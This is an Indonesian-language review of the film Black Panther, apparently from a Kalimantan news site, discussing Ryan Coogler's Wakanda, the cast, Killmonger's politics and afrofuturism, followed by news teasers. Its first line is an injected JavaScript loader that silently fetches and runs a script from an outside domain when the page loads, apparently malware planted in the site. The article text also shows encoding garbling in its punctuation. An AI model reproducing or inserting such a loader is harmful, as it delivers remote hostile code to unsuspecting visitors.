(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Black Panther hadir menjadi sosok superhero berbeda. Meski lahir dari rahim Marvel, tapi dia hadir dengan meneguhkan sebuah prinsip yang lebih membumi. Ia secara berani tampil politis dengan membawa pesan penting buat seluruh negeri yang punya sejarah merepresi orang-orang berkulit gelap. Kyle Buchanan dari Vultures menulis dalam ulasannya, “Black Panther ingin membayar tribut yang pantas untuk superhero kulit hitam pertama dalam sejarah komik arus utama Amerika.â€Â
Banyak yang kagum dan punya kritik bagus buat Black Pantherâ€â€film superhero pertama Marvel yang sutradara, penulis naskah, dan pemain utamanya adalah orang kulit hitam. Di bawah Marvel Cinematic Universe (MCU), Black Panther juga jadi karakter kulit hitam pertama yang dibikinkan film tunggalnya. Ini membuat Marvel tak bisa tak tampil politis. Dia merupakan peneguhan dari sosok sang liyan (the other) yang selama ini direpersentasi sebagai minoritas yang selama ini hak hak konstitusionalnya cenderung diabaikan.
Apalagi, ia baru muncul setelah 17 film MCU lain yang semua tokoh utamanya adalah pria kulit putih. Mulai dari Iron Man, The Hulk, Thor, Captain America, Star Lord, Ant-Man, Doctor Strange, dan Spiderman.
Black Panther sendiri adalah salah satu superhero pentolan yang punya peran besar dalam dunia komik Marvel. Ia tampil pertama kali pada 1966, jadi tokoh antagonis dalam komik Fantastic Four #52. Diciptakan Stan Lee dan Jack Kirby sebagai representasi pahlawan super kulit hitam yang sama sekali tak ada waktu itu.
Sebelumnya, karakter Afrika-Amerika hanya hadir sebagai penjahat. Atau, paling beruntung ya cuma jadi sidekickâ€â€pembantu superhero utama. Maka, difilmkannya Black Pantherâ€â€setelah lebih dari setengah abad berjaya di komikâ€â€adalah sebuah momentum politis yang tak sedikit pun disia-siakan sutradara Ryan Coogler (Fruitval Station, Creed), yang menulis naskah film ini.
Sutradara muda ini benar-benar menjejali bobot-bobot tak sederhana dalam jagat raya Black Panther rekaannyaâ€â€hal-hal yang kemudian membuat film superhero Marvel kali ini memang tak seperti film-film sebelumnya.
Pertama, ia menggali budaya Afrika lewat Wakandaâ€â€sebuah negara fiktif rekaan Kirby yang mencomot sebagian Kenya, Etiopia, Sudan Selatan, Uganda, dan perbatasan Danau Turkana dalam dunia nyata. Negara ini dikisahkan sebagai yang paling pesat teknologinya sekaligus paling sejahtera di dunia.
Namun, fakta itu dirahasiakan dari dunia luar, sebab Wakanda punya vibraniumâ€â€metal paling kuat sekaligus sumber mineral yang punya banyak khasiat. Warisan alam ini yang ingin dijaga Wakanda, takut jadi rebutan yang diributkan negara lain.
Sebagai orang pertama yang mengangkat Wakanda ke layar lebar, Coogler punya visi yang kuat: gedung-gedung pencakar langit, kereta api ekspres dengan desain futuristik, tambang vibranium yang eksotis dengan cahaya biru keungu-unguan adalah sebagian detail yang tampil kokoh.
Kerja tim produksi yang paling menonjol di sini adalah kostum dan pakaian. Bekerja sama dengan nominator Oscar, Ruth Carter, Coogler berhasil menonjolkan salah satu kultur terbaik orang Afrika, yaitu fashion.
Saat T’Challaâ€â€sang Black Pantherâ€â€dan Nakia jalan-jalan di salah satu jalanan Wakanda yang ramai lalu-lalang, saya tak bisa tak teringat pada Maboneng Street, di Johannesburg, Afrika Selatan. Arsitektur jalanannya sama sekali berbeda, tapi gaya busana orang-orang di sana yang sama. Mereka semua berpakaian modis dan mengubah jalanan itu jadi panggung mode. Warna dan ornamen etnis jadi kuncinya.
T’Challa diperankan Chadwick Boseman, sementara Nakia, seorang intelijen Wakanda, diperankan salah satu perempuan tercantik di dunia, Lupita Nyong’o. Nama-nama besar yang dipilih Coogler jadi aktornya juga kunci kesuksesan Black Panther. Ada Angella Basset, Forest Whitaker, dan Michael B. Jordan yang juga memberikan performa kelas A. Hebatnya Coogler, semua aktor itu punya karakter kokoh yang tak cuma tempelan dalam naskah.
Alur cerita yang disajikan Coogler juga tak sesederhana putih lawan hitam, macam film-film superhero lain. Michael B. Jordan, yang memerankan Killmonger, musuh utama Black Panther, jelas tak sama dengan Vulture-nya Michael Keaton dalam Spiderman Homecoming. Ia hadir dengan perspektif yang mengguncang keyakinan penonton pada T’Challa, sang protagonis. Killmonger ingin Wakanda, negara asli Afrika yang tak pernah tersentuh kolonisasi kulit putih dan punya sumber daya melimpah, untuk membantu perjuangan orang-orang kulit hitam di negara-negara lain.
Sementara T’Challa berusaha mempertahankan tradisi Wakanda untuk menyembunyikan diriâ€â€seperti para Black Panther sebelum dirinya. Penonton yang mendukung hak politik pencari suaka bisa jadi geram pada T’Challa karena perspektif tersebut. Sementara mereka yang cenderung nasionalis mungkin bisa paham, dan berhasil benci pada Killmonger.
Sampai di sini jelas bahwa diskusi yang dilempar Coogler dalam filmnya tidak sederhana. Ia membuat Black Panther bukan cuma tampil bagus secara teknis, tapi juga hadir sebagai film yang penting.
Coogler juga dipuji karena berhasil menebalkan konsep gerakan artistic afrofuturismâ€â€yang mendorong gagasan bahwa orang-orang kulit hitam juga bisa berhasil di masa depan lewat teknologi dan sains. Gerakan itu muncul karena imaji yang muncul tentang orang-orang kulit hitam dalam film adalah melulu tentang kekerasan, kemiskinan, dan kriminalitas.
Carvell Wallace, jurnalis lepas keturunan Afrika, sempat menulis esai bagus di New York Times, tentang bagaimana Black Panther berperan penting bagi orang kulit hitam Amerika, yang biasa ditindas dan punya sejarah segregasi. Wakanda yang diciptakan Coogler jadi simbol harapan.(cel/net/berbagai sumber)
KANALKALIMANTAN.COM, AMUNTAI - Keseruan ibu-ibu tampak begitu bersemangat mengikuti perlombaan yang digelar dalam rangkaian HUT… Read More
KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) Zakly Asswan menilai peran seorang… Read More
Kadishub: Tugu Adipura Menghalangi Pandangan Pengendara Read More
KANALKALIMANTAN.COM - Dalam game Mobile Legends: Bang Bang (MLBB), kehadiran skin dapat menjadi salah satu… Read More
KANALKALIMANTAN.COM, BANJARBARU - Ustadzah Pipik Dian Irawati atau Umi Pipik menyampaikan tausiyah di Ballroom Hotel… Read More
KANALKALIMANTAN.COM, BANJARBARU - Rapat Koordinasi (Rakor) Tim Percepatan Penurunan Stunting (TPPS) dilaksanakan oleh Pemerintah Kabupaten… Read More
This website uses cookies.